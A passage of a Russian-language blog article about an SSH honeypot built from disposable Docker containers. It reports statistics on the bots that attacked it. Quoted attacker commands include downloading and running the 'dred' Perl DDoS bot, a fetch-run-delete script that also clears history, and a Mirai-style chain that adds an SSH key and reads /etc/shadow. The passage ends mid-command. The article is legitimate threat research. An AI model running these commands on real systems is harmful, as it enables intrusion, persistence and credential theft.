\u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u0441\u043e\u0442\u043d\u0438 \u043d\u0435\u0443\u0434\u0430\u0447\u043d\u044b\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a, \u0438 98% \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0434\u0435\u043b\u0430\u044e\u0442 \u043e\u0434\u043d\u0443 \u043f\u043e\u043f\u044b\u0442\u043a\u0443. \u0420\u0435\u043a\u043e\u0440\u0434 \u2014 10 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0432\u0432\u0435\u0441\u0442\u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u0437\u0430 \u043e\u0434\u043d\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435.<\/p>\n<p>  \u0416\u0435\u043b\u0430\u044e\u0449\u0438\u0445 \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u043d\u0430 \u043c\u043e\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e. \u0417\u043d\u0430\u0447\u0438\u0442, \u043f\u043e\u0440\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0438\u043c \u044d\u0442\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c.<\/p>\n<p>  <font color=\"#EB4247\"><\/p>\n<h2>\u0413\u043e\u0440\u0448\u043e\u0447\u0435\u043a \u0438\u0434\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043c\u0435\u0434\u0430<\/h2>\n<p><\/font><br \/>  \u0412 \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u0440\u0430\u0437 \u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u043b \u0432\u0441\u0435\u0445 \u043f\u043e \u043b\u044e\u0431\u043e\u043c\u0443 \u043f\u0430\u0440\u043e\u043b\u044e \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0434\u043d\u043e\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u043b\u043e \u043a \u0441\u0440\u0430\u0436\u0435\u043d\u0438\u044e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u0438 \u043e\u0442\u0440\u0430\u0437\u0438\u043b\u043e\u0441\u044c \u043d\u0430 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0438 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0435 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438. \u0412 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u044f \u0440\u0435\u0448\u0438\u043b \u0443\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0430\u0442\u0442\u0440\u0430\u043a\u0446\u0438\u043e\u043d \u043d\u0435\u0441\u043b\u044b\u0445\u0430\u043d\u043d\u043e\u0439 \u0449\u0435\u0434\u0440\u043e\u0441\u0442\u0438: \u043a\u0430\u0436\u0434\u043e\u043c\u0443 \u0437\u0430\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u2014 \u043f\u043e \u00ab\u0432\u0438\u0440\u0442\u0443\u0430\u043b\u043a\u0435\u00bb!<\/p>\n<p>  \u042f \u0445\u043e\u0442\u0435\u043b \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 \u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043c\u0430\u0448\u0438\u043d. \u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0434\u0435\u043b\u0430\u043b \u0432\u044b\u0431\u043e\u0440 \u0432 \u043f\u043e\u043b\u044c\u0437\u0443 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0438\u0437\u0430\u0446\u0438\u0438. \u0421\u043e\u0437\u0434\u0430\u0435\u043c \u043b\u0435\u0433\u043a\u043e\u0432\u0435\u0441\u043d\u044b\u0439 \u043e\u0431\u0440\u0430\u0437 Ubuntu 22.04 \u0441 wget, curl \u0438 sshd, \u0441\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c \u0436\u0438\u0437\u043d\u0438 60 \u0441\u0435\u043a\u0443\u043d\u0434:<\/p>\n<pre><code class=\"python\">FROM ubuntu:22.04 RUN apt update &amp;&amp; apt install -y ssh wget curl &amp;&amp; mkdir \/run\/sshd &amp;&amp; echo \"root:root\" | chpasswd COPY sshd_config \/etc\/ssh\/sshd_config ENTRYPOINT [\"\/bin\/bash\", \"-c\", \"\/usr\/sbin\/sshd -D &amp; sleep 60\"] <\/code><\/pre>\n<p>  \u0416\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n<ol>\n<li>\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043a SSH-\u0441\u0435\u0440\u0432\u0435\u0440\u0443 (paramiko) \u0441 \u043a\u0430\u043a\u0438\u043c-\u0442\u043e \u043f\u0430\u0440\u043e\u043b\u0435\u043c.<\/li>\n<li>Paramiko \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u0438 \u0443\u0437\u043d\u0430\u0435\u0442 \u0435\u0433\u043e IP-\u0430\u0434\u0440\u0435\u0441 \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.<\/li>\n<li>Paramiko \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0443 \u0438 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u043e\u0442\u043e\u043a\u0438 \u0432\u0432\u043e\u0434\u0430-\u0432\u044b\u0432\u043e\u0434\u0430 \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u043e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u0434\u043e \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c paramiko-\u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f SSH-\u043f\u0440\u043e\u043a\u0441\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u043c\u0435\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u043c\u0438\u043c\u043e \u0431\u0430\u0439\u0442\u044b.<\/li>\n<li>\u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u0432\u044b\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 60 \u0441\u0435\u043a\u0443\u043d\u0434 \u0432\u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0436\u0435\u043b\u0430\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430.<\/li>\n<\/ol>\n<p>  \u00ab\u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u044b\u0439\u00bb \u043f\u043e\u0434\u0445\u043e\u0434 \u0438\u043c\u0435\u0435\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u043c\u0435\u0442\u043d\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 \u043f\u0440\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438:<\/p>\n<ol>\n<li>\u0412 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 systemd.<\/li>\n<li>\u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441 pid=1 \u043d\u0435 systemd \u0438\u043b\u0438 init, \u0430 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \/bin\/bash -c \/usr\/sbin\/sshd -D &amp; sleep 60.<\/li>\n<li>\u041f\u0440\u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0437\u0430\u043c\u0435\u0442\u043d\u043e, \u0447\u0442\u043e \u0438\u043c\u044f \u0445\u043e\u0441\u0442\u0430 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c.<\/li>\n<\/ol>\n<p>  \u0411\u044b\u043b\u0438 \u043e\u043f\u0430\u0441\u0435\u043d\u0438\u044f \u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c, \u0432\u0435\u0434\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 root-\u0434\u043e\u0441\u0442\u0443\u043f, \u0430 \u0443 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u043d\u0435\u0442 \u0442\u0430\u043a\u043e\u0439 \u0436\u0435 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u0438, \u043a\u0430\u043a \u0443 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b. \u041f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u0432\u0440\u0435\u0434\u0438\u0442\u044c \u0445\u043e\u0441\u0442\u0443. \u0411\u0435\u0433\u043b\u044b\u0439 \u043f\u043e\u0438\u0441\u043a \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0432 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435 \u2014 \u043b\u0438\u0431\u043e \u0441 \u043e\u043f\u0446\u0438\u0435\u0439 SYS_ADMIN, \u043b\u0438\u0431\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u0441\u043e\u043a\u0435\u0442\u0430 Docker \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430. \u041d\u0438\u0447\u0435\u0433\u043e \u0442\u0430\u043a\u043e\u0433\u043e \u044f \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0443 \u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044e \u2014 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0443 \u0432 \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u0445 \u0434\u043e 2 \u044f\u0434\u0435\u0440 \u0438 1 \u0413\u0411 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438.<\/p>\n<p>  \u041f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044e \u00ab\u0443\u043b\u043e\u0432\u0430\u00bb, \u044f \u0440\u0430\u0441\u0441\u043a\u0430\u0436\u0443 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0438 SSH. \u041f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 SSH-\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a\u043b\u0438\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u0438\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 (shell) \u0438\u043b\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043e\u0434\u043d\u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435. \u0421\u0435\u0440\u0432\u0435\u0440 paramiko \u043c\u043e\u0436\u0435\u0442 \u044d\u0442\u043e \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0442\u044c.<\/p>\n<pre><code class=\"python\"># SSH \u0437\u0430\u043f\u0440\u043e\u0441\u0438\u0442 \u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043e\u0434\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b ssh root@127.0.0.1 \u2018wget http:\/\/example.com\/totally-not-a-virus.sh\u2019 # \u0417\u0430\u043f\u0440\u043e\u0441 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 ssh root@127.0.0.2  <\/code><\/pre>\n<p>  \u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u044d\u0442\u043e \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0442\u043e\u0447\u043d\u043e \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u043e\u0442 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0440\u0443\u0447\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439.<\/p>\n<p>  \u0417\u0430 \u0432\u0440\u0435\u043c\u044f \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u043a \u043c\u043e\u0435\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u043b\u0438\u0441\u044c 8 685 \u0440\u0430\u0437. \u042d\u0442\u043e \u043f\u0440\u0438\u043d\u0435\u0441\u043b\u043e 21 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0438 56 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439. \u0421\u0430\u043c\u0430\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430, \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u0430\u044f 6,5 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437, \u043f\u043e\u0440\u0430\u0436\u0430\u0435\u0442 \u0441\u0432\u043e\u0435\u0439 \u0431\u0435\u0437\u043e\u0431\u0438\u0434\u043d\u043e\u0441\u0442\u044c\u044e:<\/p>\n<pre><code class=\"python\">uname -s -v -n -r -m <\/code><\/pre>\n<p>  \u042d\u0442\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0442\u043e\u0442 \u0441\u0430\u043c\u044b\u0439 \u043d\u0430\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u044b\u0439 \u0431\u043e\u0442\u043d\u0435\u0442 \u0441 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u043c SSH-2.0-Go. \u041f\u0440\u0438\u0447\u0435\u043c \u0443\u0441\u043f\u0435\u0445 \u044d\u0442\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0438 \u043d\u0430 \u0447\u0442\u043e \u043d\u0435 \u0432\u043b\u0438\u044f\u0435\u0442. \u0427\u0435\u0440\u0435\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0438\u043d\u0443\u0442 \u044d\u0442\u043e\u0442 \u0436\u0435 \u043a\u043b\u0438\u0435\u043d\u0442 \u0441 \u0442\u043e\u0433\u043e \u0436\u0435 IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u043f\u0440\u0438\u0434\u0435\u0442 \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u043f\u0430\u0440\u043e\u0439 \u043b\u043e\u0433\u0438\u043d-\u043f\u0430\u0440\u043e\u043b\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443.<\/p>\n<p>  \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043f\u043e \u043d\u0430\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u043e\u0441\u0442\u0438 \u0441 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u0432 800 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0439 \u2014 \u0441\u043a\u0440\u0438\u043f\u0442 dred. <s>\u0412\u0438\u0434\u0438\u043c\u043e, \u0433\u0434\u0435-\u0442\u043e \u0440\u044f\u0434\u043e\u043c \u0424\u043e\u0440\u0434\u0436 \u0438 \u044d\u0442\u043e \u0447\u0442\u043e-\u0442\u043e \u0438\u0437 \u00ab\u0443\u0436\u0430\u0441\u0442\u0438\u043a\u043e\u0432 \u0443\u043c\u043d\u0438\u043a\u043e\u0432 \u0423\u0438\u0437\u043b\u0438\u00bb.<\/s> <a href=\"https:\/\/www.virustotal.com\/gui\/file\/9fc015b3841487451403a04976c4c3f975f7f686ce920ab4d9ed816bd91b2d97\">\u041e\u0442\u0447\u0435\u0442 VirusTotal<\/a>.<\/p>\n<pre><code class=\"python\">uname -a;lspci | grep -i --color 'vga\\|3d\\|2d';curl -s -L http:\/\/[\u0414\u0410\u041d\u041d\u042b\u0415 \u0423\u0414\u0410\u041b\u0415\u041d\u042b]\/dred -o \/tmp\/dred;perl \/tmp\/dred <\/code><\/pre>\n<p>  <\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/0a6\/3d2\/4b9\/0a63d24b921dea51d23cee94524aaeb1.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/0a6\/3d2\/4b9\/0a63d24b921dea51d23cee94524aaeb1.png\"\/><\/div>\n<p>  <i>\u0412\u0430\u0441 \u0442\u043e\u0436\u0435 \u0431\u0435\u0441\u043f\u043e\u043a\u043e\u0438\u0442 \u044d\u0442\u043e\u0442 \u00ab\u0432\u044b\u0431\u0440\u043e\u0441\u00bb?<\/i><\/p>\n<p>  dred \u2014 \u044d\u0442\u043e IRC-\u0431\u043e\u0442, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 perl \u0434\u043b\u044f \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u044f DDoS-\u0430\u0442\u0430\u043a. \u041f\u0440\u0438\u0447\u0435\u043c \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0444\u0430\u0439\u043b\u0430 \u0435\u0441\u0442\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f. \u0423\u0434\u043e\u0431\u043d\u043e. \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0445\u043e\u0447\u0435\u0442\u0441\u044f \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0444\u0440\u0430\u0437\u0430 <i>Works on every system with PERL installed<\/i> \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043d\u0435\u043f\u0440\u0430\u0432\u0434\u043e\u0439.<\/p>\n<pre><code class=\"python\">root@e838fe773823:\/tmp# perl dred Can't locate MIME\/Base64.pm in @INC (you may need to install the MIME::Base64 module) <\/code><\/pre>\n<p>  \u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 \u0438 \u043a\u043e\u043f\u0438\u0440\u0430\u0439\u0442\u043e\u043c, \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u043e\u0440\u0430\u0445 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430.<\/p>\n<p>  \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f \u043f\u043e \u0443\u0431\u044b\u0432\u0430\u043d\u0438\u044e \u043d\u0430\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u043e\u0441\u0442\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0434\u043b\u044f \u0441\u0430\u043c\u043e\u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f.<\/p>\n<pre><code class=\"python\"># \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432\u044b\u0432\u043e\u0434\u0438\u0442 ok. \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 273 \u0440\u0430\u0437\u0430 echo -e \"\\x6F\\x6B\" # \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043d\u0430 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u0435 ok.sh. \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 132 \u0440\u0430\u0437\u0430 wget [\u0414\u0410\u041d\u041d\u042b\u0415 \u0423\u0414\u0410\u041b\u0415\u041d\u042b]\/ok.sh ; chmod 777 ok.sh ; .\/ok.sh ; rm -rf ok.sh ; curl -O [\u0414\u0410\u041d\u041d\u042b\u0415 \u0423\u0414\u0410\u041b\u0415\u041d\u042b]\/ok.sh ; chmod 777 ok.sh ; .\/ok.sh ; rm -rf ok.sh ; history -c # \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 ok.sh echo \u201cnite_max was here\u201d uname -a <\/code><\/pre>\n<p>  \u0412 \u0441\u0430\u043c\u043e\u043c \u043a\u043e\u043d\u0446\u0435 \u0443\u043f\u043e\u0440\u043d\u043e\u0441\u0442\u0438 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u043e\u0442\u043d\u0435\u0441\u0442\u0438 \u043a \u0441\u0442\u0440\u0430\u0448\u043d\u043e\u043c\u0443 \u0431\u043e\u0442\u043d\u0435\u0442\u0443 mirai. \u041a\u043e\u043c\u0430\u043d\u0434\u044b \u0434\u0435\u043b\u044f\u0442\u0441\u044f \u043d\u0430 \u0434\u0432\u0430 \u0442\u0438\u043f\u0430: xml-\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0437\u0430\u0440\u0430\u0437\u0438\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u0443.<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0441\u0431\u043e\u0440 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"python\">mkdir -p \/home\/osmc\/.ssh\/ ; echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6apTpBLxylca9D2EVjfr8xa6OadS2c0oR4RYLkJiIp2XoWkJKqxVodz0s2gfQrMb9qr3oJQVoT4M1WHd829D5Wu2kJY4RMFSo+Rb2dszg0PQJ5Ug1pEW1DedYR379sjoIiF\/qbaDzq3FtkUx9+5E\/BiqdMGyncml3yinN6HuNH+Fnhv6TtS45Re6gI1rA21qFguBF5U3yPFKeF5ElH997x\/0rf3Qr01v38F2994IEXZ3fiaZTkw7k\/ul9CnuCuIlCkPGeO7xkpR\/70sU077scxbArlCe\/ch5BSBK9u8nOCBUBV7AlgZ9RojfTp\/wbqqg20zfB7pwEaaMI25zP5QsF >> \/home\/osmc\/.ssh\/\/authorized_keys ; echo '&lt;cmd7uname>'; uname -a ; echo '&lt;\/cmd7uname>&lt;cmd7uptime>'; uptime ; echo '&lt;\/cmd7uptime>&lt;cmd7w>'; w ; echo '&lt;\/cmd7w>&lt;cmd7who>'; who ; echo '&lt;\/cmd7who>&lt;cmd7last>'; last ; echo '&lt;\/cmd7last>&lt;cmd7lastlog>'; lastlog ; echo '&lt;\/cmd7lastlog>&lt;cmd7passwd>'; cat \/etc\/passwd ; echo '&lt;\/cmd7passwd>&lt;cmd7shadow>'; sudo -n cat \/etc\/shadow ; echo '&lt;\/cmd7shadow>&lt;cmd7authkey>'; cat \/home\/osmc\/.ssh\/\/authorized_keys ; echo '&lt;\/cmd7authkey>&lt;cmd7lshome>'; ls -la \/home ; echo '&lt;\/cmd7lshome>&lt;cmd7psfaux>'; ps -faux ; echo '&lt;\/cmd7psfaux>&lt;cmd7netstat>'; netstat -npta ; echo 